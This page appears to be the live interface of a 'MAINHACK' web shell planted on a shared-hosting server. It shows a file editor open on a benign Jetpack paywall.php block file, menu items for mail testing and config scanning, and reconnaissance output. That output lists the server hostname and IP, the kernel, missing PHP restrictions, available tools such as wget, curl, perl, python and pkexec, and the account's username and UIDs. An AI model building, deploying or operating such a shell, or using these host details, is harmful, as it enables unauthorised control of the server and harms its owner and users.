[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: paywall.php
<?php /** * Paywall Block. * * @since 12.5 * * @package automattic/jetpack */ namespace Automattic\Jetpack\Extensions\Paywall; use Automattic\Jetpack\Blocks; if ( ! defined( 'ABSPATH' ) ) { exit( 0 ); } const FEATURE_NAME = 'paywall'; const BLOCK_NAME = 'jetpack/' . FEATURE_NAME; const BLOCK_HTML = '<!-- wp:' . BLOCK_NAME . ' /-->'; const THE_EXCERPT_BLOCK = '[[[[[' . BLOCK_NAME . ']]]]]'; /** * Registers the block for use in Gutenberg * This is done via an action so that we can disable * registration if we need to. */ function register_block() { if ( ! \Jetpack::is_module_active( 'subscriptions' ) ) { return; } if ( ! class_exists( '\Jetpack_Memberships' ) ) { return; } Blocks::jetpack_register_block( __DIR__, array( 'render_callback' => __NAMESPACE__ . '\render_block', ) ); } add_action( 'init', __NAMESPACE__ . '\register_block' ); /** * Paywall block render callback. * * @return string */ function render_block() { if ( doing_filter( 'get_the_excerpt' ) ) { if ( \Jetpack_Memberships::user_can_view_post() ) { return ''; } return THE_EXCERPT_BLOCK; } return ''; } /** * Adds the Paywall block to excerpt allowed blocks. * * @param array $allowed_blocks The allowed blocks. * * @return array The allowed blocks. */ function excerpt_allowed_blocks( $allowed_blocks ) { return array_merge( $allowed_blocks, array( Blocks::get_block_name( __DIR__ ) ) ); } add_filter( 'excerpt_allowed_blocks', __NAMESPACE__ . '\excerpt_allowed_blocks' );
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server306.web-hosting.com
Server IP: 192.64.117.220
PHP Version: 8.2.31
Server Software: LiteSpeed
System: Linux server306.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 138.28 GB
HDD Free: 102.1 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: awodbsau
User ID (UID): 4522
Group ID (GID): 4521
Script Owner UID: 4522
Current Dir Owner: 4522